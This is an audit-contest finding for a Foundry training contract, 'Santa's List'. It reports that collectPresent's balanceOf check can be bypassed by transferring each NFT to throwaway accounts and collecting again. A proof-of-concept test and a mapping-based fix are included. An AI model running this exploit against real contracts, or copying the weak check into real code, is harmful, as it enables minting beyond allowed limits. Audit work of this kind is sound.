First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

User can take unlimited amount of presents

timenov

Summary

The check on line 151 if (balanceOf(msg.sender) > 0) in collectPresent can be bypassed and user can mint unlimited amount of NFTs.

Vulnerability Details

Lets consider the following scenario. User got NICE status, but he is malicious and will take advantage of his status. When Christmas comes, he will collect his present, but he will transfer it to a brand new account he made. This will make the check on line 151 if (balanceOf(msg.sender) > 0) return true and he will be able to collect another present. He can do this unlimited amount of times.

Impact

Have more presents that a user should have

Tools Used

Manual Review, Foundry

Proof of Concept

Added the following test case

function testSpamNfts() public {
// Malicious user creates 2 accounts to hold his nfts
address userSecondAccount = makeAddr("user2");
address userThirdAccount = makeAddr("user3");
​
// santa gives user NICE status
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.NICE);
santasList.checkTwice(user, SantasList.Status.NICE);
vm.stopPrank();
​
// Christmas time
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
vm.startPrank(user);
​
// User collects his present with tokenId = 0
santasList.collectPresent();
assertEq(santasList.balanceOf(user), 1);
​
// User transfer nft with tokenId = 0 to userSecondAccount
santasList.transferFrom(user, userSecondAccount, 0);
assertEq(santasList.balanceOf(user), 0);
​
// User collects another present (which he should't)
santasList.collectPresent();
assertEq(santasList.balanceOf(user), 1);
​
// User transfers his second present to the other fake account he made
santasList.transferFrom(user, userThirdAccount, 1);
assertEq(santasList.balanceOf(user), 0);
​
// User collects another present
santasList.collectPresent();
assertEq(santasList.balanceOf(user), 1);
vm.stopPrank();
​
// User then transfers the nft from his fake accounts to his real one
vm.prank(userSecondAccount);
santasList.transferFrom(userSecondAccount, user, 0);
​
vm.prank(userThirdAccount);
santasList.transferFrom(userThirdAccount, user, 1);
​
// User has 3 presents but should have 1
assertEq(santasList.balanceOf(user), 3);
}

Test result:

[PASS] testSpamNfts() (gas: 211250)

Recommendations

Instead of checking balanceOf(msg.sender) > 0 create a mapping (address user => bool isCollected) hasCollectedPresent;. Set the mapping to true and use it in the check.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.